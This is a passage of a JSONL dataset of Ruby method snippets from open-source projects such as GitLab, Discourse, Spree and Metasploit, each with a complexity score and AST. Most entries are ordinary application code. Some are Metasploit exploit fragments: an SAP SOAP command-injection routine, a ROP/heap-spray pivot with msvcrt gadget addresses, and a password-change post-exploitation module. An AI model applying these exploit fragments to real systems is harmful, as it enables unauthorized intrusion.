end","complexity_score":26.0,"ast_json":"{\"type\":\"def\",\"children\":[\"process_retroactive_updates\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"scope\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Account\"]},\"by_domain_and_subdomains\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"domain_block\"]},\"domain\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"domain_block\"]},\"noop?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"silenced_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"domain_block\"]},\"created_at\"]}]}]}]},\"in_batches\"]},\"update_all\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"silenced_at\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"domain_block\"]},\"suspend?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"suspended_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"domain_block\"]},\"created_at\"]}]}]}]},\"in_batches\"]},\"update_all\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"suspended_at\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"suspension_origin\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},null]}]}]}","id":"6901f4b8-5516-4ffc-aab5-27c0f04071ed"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/spec/lib/msf/core/exploit/retry_spec.rb","start_line":5,"raw_source":"def create_exploit(info = {})\n    mod = Msf::Exploit.allocate\n    mod.extend described_class\n    mod.send(:initialize, info)\n    mod\n  end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"create_exploit\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mod\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Exploit\"]},\"allocate\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"extend\",{\"type\":\"send\",\"children\":[null,\"described_class\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"send\",{\"type\":\"sym\",\"children\":[\"initialize\"]},{\"type\":\"lvar\",\"children\":[\"info\"]}]},{\"type\":\"lvar\",\"children\":[\"mod\"]}]}]}","id":"7e9ca83e-6879-451c-8203-a17456754295"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/requests/projects/incidents_controller_spec.rb","start_line":30,"raw_source":"def make_request\n      get project_incidents_path(project)\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"make_request\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"send\",\"children\":[null,\"project_incidents_path\",{\"type\":\"send\",\"children\":[null,\"project\"]}]}]}]}","id":"a51f4b51-289e-4b48-9a2f-37d1a0d3f0c0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/import_export/avatar_restorer.rb","start_line":33,"raw_source":"def avatar_export_path\n        File.join(@shared.export_path, 'avatar')\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"avatar_export_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@shared\"]},\"export_path\"]},{\"type\":\"str\",\"children\":[\"avatar\"]}]}]}","id":"f9e19f19-4dd3-41ea-8933-e9e2afb6cac5"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/reviewable_bundled_action_serializer.rb","start_line":11,"raw_source":"def include_label?\n    label.present?\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"include_label?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"label\"]},\"present?\"]}]}","id":"e8b26ca3-06e8-43cc-9569-8f2f9b71aaa0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/main/menu.rb","start_line":99,"raw_source":"def signed_in_as_user?(user)\n          return false unless signed_in?\n\n          within_user_menu do\n            has_element?('user-profile-link', text: /#{user.username}/)\n          end\n          # we need to close user menu because plain user link check will leave it open\n          click_element 'user-avatar-content' if has_element?('user-profile-link', wait: 0)\n        end","complexity_score":9.5,"ast_json":"{\"type\":\"def\",\"children\":[\"signed_in_as_user?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"signed_in?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within_user_menu\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"has_element?\",{\"type\":\"str\",\"children\":[\"user-profile-link\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"username\"]}]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"has_element?\",{\"type\":\"str\",\"children\":[\"user-profile-link\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wait\"]},{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"send\",\"children\":[null,\"click_element\",{\"type\":\"str\",\"children\":[\"user-avatar-content\"]}]},null]}]}]}","id":"c7e6e55c-2bcb-4b77-ae03-6cf010ec9ea0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/merge_requests/create_pipeline_service.rb","start_line":44,"raw_source":"def can_create_pipeline_for?(merge_request)\n      ##\n      # UpdateMergeRequestsWorker could be retried by an exception.\n      # pipelines for merge request should not be recreated in such case.\n      return false if !allow_duplicate && merge_request.find_diff_head_pipeline&.merge_request?\n      return false if merge_request.has_no_commits?\n\n      true\n    end","complexity_score":8.9,"ast_json":"{\"type\":\"def\",\"children\":[\"can_create_pipeline_for?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"merge_request\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow_duplicate\"]},\"!\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_request\"]},\"find_diff_head_pipeline\"]},\"merge_request?\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_request\"]},\"has_no_commits?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"true\",\"children\":[]}]}]}","id":"3d6abf8a-3f56-4dfb-a435-1e9c01d560b9"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/manage/change_password.rb","start_line":8,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Windows Manage Change Password',\n        'Description' => %q{\n          This module will attempt to change the password of the targeted account.\n          The typical usage is to change a newly created account's password on a\n          remote host to avoid the error, 'System error 1907 has occurred,' which\n          is caused when the account policy enforces a password change before the\n          next login.\n        },\n        'License' => MSF_LICENSE,\n        'Platform' => ['win'],\n        'SessionTypes' => ['meterpreter'],\n        'Author' => ['Ben Campbell'],\n        'Compat' => {\n          'Meterpreter' => {\n            'Commands' => %w[\n              stdapi_railgun_api\n            ]\n          }\n        },\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'SideEffects' => [CONFIG_CHANGES],\n          'Reliability' => []\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('SMBDomain', [false, 'Domain or Host to change password on, if not set will use the current login domain', nil], fallbacks: ['DOMAIN']),\n        OptString.new('SMBUser', [true, 'Username to change password of'], fallbacks: ['PASSWORD']),\n        OptString.new('OLD_PASSWORD', [true, 'Original password' ]),\n        OptString.new('NEW_PASSWORD', [true, 'New password' ]),\n      ]\n    )\n  end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Windows Manage Change Password\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module will attempt to change the password of the targeted account.\\n\"]},{\"type\":\"str\",\"children\":[\"          The typical usage is to change a newly created account's password on a\\n\"]},{\"type\":\"str\",\"children\":[\"          remote host to avoid the error, 'System error 1907 has occurred,' which\\n\"]},{\"type\":\"str\",\"children\":[\"          is caused when the account policy enforces a password change before the\\n\"]},{\"type\":\"str\",\"children\":[\"          next login.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"win\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SessionTypes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"meterpreter\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Ben Campbell\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Compat\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Meterpreter\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Commands\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"stdapi_railgun_api\"]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CONFIG_CHANGES\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"SMBDomain\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Domain or Host to change password on, if not set will use the current login domain\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fallbacks\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"DOMAIN\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"SMBUser\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Username to change password of\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fallbacks\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PASSWORD\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"OLD_PASSWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Original password\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"NEW_PASSWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"New password\"]}]}]}]}]}]}]}","id":"bd9e734b-023c-4006-bedd-7ae80b689df8"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-data-explorer/lib/discourse_data_explorer/report_generator.rb","start_line":43,"raw_source":"def self.params_to_hash(query_params)\n      params = JSON.parse(query_params)\n\n      params.map { |p| p.is_a?(Hash) ? [p[\"key\"], p[\"value\"]] : p }.to_h\n    end","complexity_score":10.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"params_to_hash\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"query_params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"params\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"query_params\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"p\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"[]\",{\"type\":\"str\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"[]\",{\"type\":\"str\",\"children\":[\"value\"]}]}]},{\"type\":\"lvar\",\"children\":[\"p\"]}]}]},\"to_h\"]}]}]}","id":"e1a8a880-f317-4eed-b1a4-9f0e0a8d4be8"}
{"repo_name":"spree","file_path":"./repos/spree/admin/app/models/spree/admin/form_builder.rb","start_line":56,"raw_source":"def spree_email_field(method, options = {})\n        options[:class] ||= 'form-control'\n        @template.content_tag(:div, class: 'form-group') do\n          @template.label(@object_name, method, get_label(method, options)) +\n            @template.email_field(@object_name, method, objectify_options(options)) +\n            @template.error_message_on(@object_name, method) + field_help(method, options)\n        end\n      end","complexity_score":16.9,"ast_json":"{\"type\":\"def\",\"children\":[\"spree_email_field\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"method\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"class\"]}]},{\"type\":\"str\",\"children\":[\"form-control\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@template\"]},\"content_tag\",{\"type\":\"sym\",\"children\":[\"div\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"str\",\"children\":[\"form-group\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@template\"]},\"label\",{\"type\":\"ivar\",\"children\":[\"@object_name\"]},{\"type\":\"lvar\",\"children\":[\"method\"]},{\"type\":\"send\",\"children\":[null,\"get_label\",{\"type\":\"lvar\",\"children\":[\"method\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@template\"]},\"email_field\",{\"type\":\"ivar\",\"children\":[\"@object_name\"]},{\"type\":\"lvar\",\"children\":[\"method\"]},{\"type\":\"send\",\"children\":[null,\"objectify_options\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@template\"]},\"error_message_on\",{\"type\":\"ivar\",\"children\":[\"@object_name\"]},{\"type\":\"lvar\",\"children\":[\"method\"]}]}]},\"+\",{\"type\":\"send\",\"children\":[null,\"field_help\",{\"type\":\"lvar\",\"children\":[\"method\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}]}]}","id":"4aa07eeb-decc-41d7-92db-c1b456e038b2"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/sap/sap_soap_rfc_sxpg_call_system_exec.rb","start_line":179,"raw_source":"def execute_command(cmd, opts)\n    command = cmd.gsub(/&/, \"&amp;\")\n    command.gsub!(/%TEMP%\\\\/, \"\")\n    data = build_soap_request(\"&amp;#{command}\", \"LIST_DB2DUMP\", \"ANYOS\")\n    begin\n      res = send_soap_request(data)\n      if res and res.code == 200\n        return\n      else\n        if res and res.body =~ /faultstring/\n          error = res.body.scan(%r{<faultstring>(.*?)</faultstring>})\n          0.upto(error.length - 1) do |i|\n            vprint_error(\"#{rhost}:#{rport} - Error #{error[i]}\")\n          end\n        end\n        fail_with(Failure::Unknown, \"#{rhost}:#{rport} - Error injecting command\")\n      end\n    rescue ::Rex::ConnectionError\n      fail_with(Failure::Unreachable, \"#{rhost}:#{rport} - Unable to connect\")\n    end\n  end","complexity_score":46.48,"ast_json":"{\"type\":\"def\",\"children\":[\"execute_command\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cmd\"]},{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"command\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"&\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"&amp;\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},\"gsub!\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"%TEMP%\\\\\\\\\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[null,\"build_soap_request\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"&amp;\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]}]}]},{\"type\":\"str\",\"children\":[\"LIST_DB2DUMP\"]},{\"type\":\"str\",\"children\":[\"ANYOS\"]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_soap_request\",{\"type\":\"lvar\",\"children\":[\"data\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"return\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"faultstring\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"error\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"scan\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"<faultstring>(.*?)</faultstring>\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[0]},\"upto\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"length\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - Error \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"i\"]}]}]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - Error injecting command\"]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionError\"]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unreachable\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - Unable to connect\"]}]}]}]},null]}]}]}]}","id":"9aa711f3-5457-4b86-aaa8-69ff9adf9844"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/concerns/spree/user_methods.rb","start_line":76,"raw_source":"def self.with_address(query, address = :ship_address)\n        left_outer_joins(address).\n          where(\"#{Spree::Address.table_name}.firstname like ?\", \"%#{query}%\").\n          or(left_outer_joins(address).where(\"#{Spree::Address.table_name}.lastname like ?\", \"%#{query}%\"))\n      end","complexity_score":10.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"with_address\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"query\"]},{\"type\":\"optarg\",\"children\":[\"address\",{\"type\":\"sym\",\"children\":[\"ship_address\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"left_outer_joins\",{\"type\":\"lvar\",\"children\":[\"address\"]}]},\"where\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Address\"]},\"table_name\"]}]},{\"type\":\"str\",\"children\":[\".firstname like ?\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"%\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]}]},{\"type\":\"str\",\"children\":[\"%\"]}]}]},\"or\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"left_outer_joins\",{\"type\":\"lvar\",\"children\":[\"address\"]}]},\"where\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Address\"]},\"table_name\"]}]},{\"type\":\"str\",\"children\":[\".lastname like ?\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"%\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]}]},{\"type\":\"str\",\"children\":[\"%\"]}]}]}]}]}","id":"d6f1439a-9449-4a5f-8d90-ad9df0b40e08"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/settings/time_zone_setting_component.rb","start_line":44,"raw_source":"def render_select\n      if form.nil?\n        render_setting_select\n      else\n        render_form_select\n      end\n    end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"render_select\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"form\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"render_setting_select\"]},{\"type\":\"send\",\"children\":[null,\"render_form_select\"]}]}]}","id":"520a7f07-dbd2-4697-b69d-bba18a5d43dc"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/features/snippet_spec_helpers.rb","start_line":25,"raw_source":"def snippet_get_first_blob_path\n      page.find_field('snippet_file_name', match: :first).value\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"snippet_get_first_blob_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"find_field\",{\"type\":\"str\",\"children\":[\"snippet_file_name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"match\"]},{\"type\":\"sym\",\"children\":[\"first\"]}]}]}]},\"value\"]}]}","id":"e00a4359-a6e7-4510-862b-706543b2ba57"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/siemens_solid_edge_selistctrlx.rb","start_line":388,"raw_source":"def get_windows_msvcrt_payload\n    fake_memory = [\n      junk, # junk         # 0c0c0c0c\n      0x0c0c0c0c, # Dereference  # 0c0c0c10\n      0x0c0c0c0c, # Dereference  # 0c0c0c14\n      0x0c0c0c1c, # [0x0c0c0c0c] # 0c0c0c18\n      0x0c0c0c24, # Dereference  # 0c0c0c1c\n      0x0c0c0c28, # Dereference  # 0c0c0c20\n      junk,       # junk         # 0c0c0c24\n      junk,       # junk         # 0c0c0c28\n      0x0c0c0c0c, # Dereference  # 0c0c0c2c\n      0x0c0c0c3c, # Dereference  # 0c0c0c30\n      0x77c21ef4, # ppr msvcrt   # 0c0c0c34\n      0x77c15ed5, # xchg eax,esp # ret (msvcrt)\n      0x0c0c0c34  # eax value    # 0c0c0c3c\n    ].pack(\"V*\")\n\n    return generate_rop_payload('msvcrt', payload.encoded, { 'pivot' => fake_memory, 'target' => 'xp' })\n  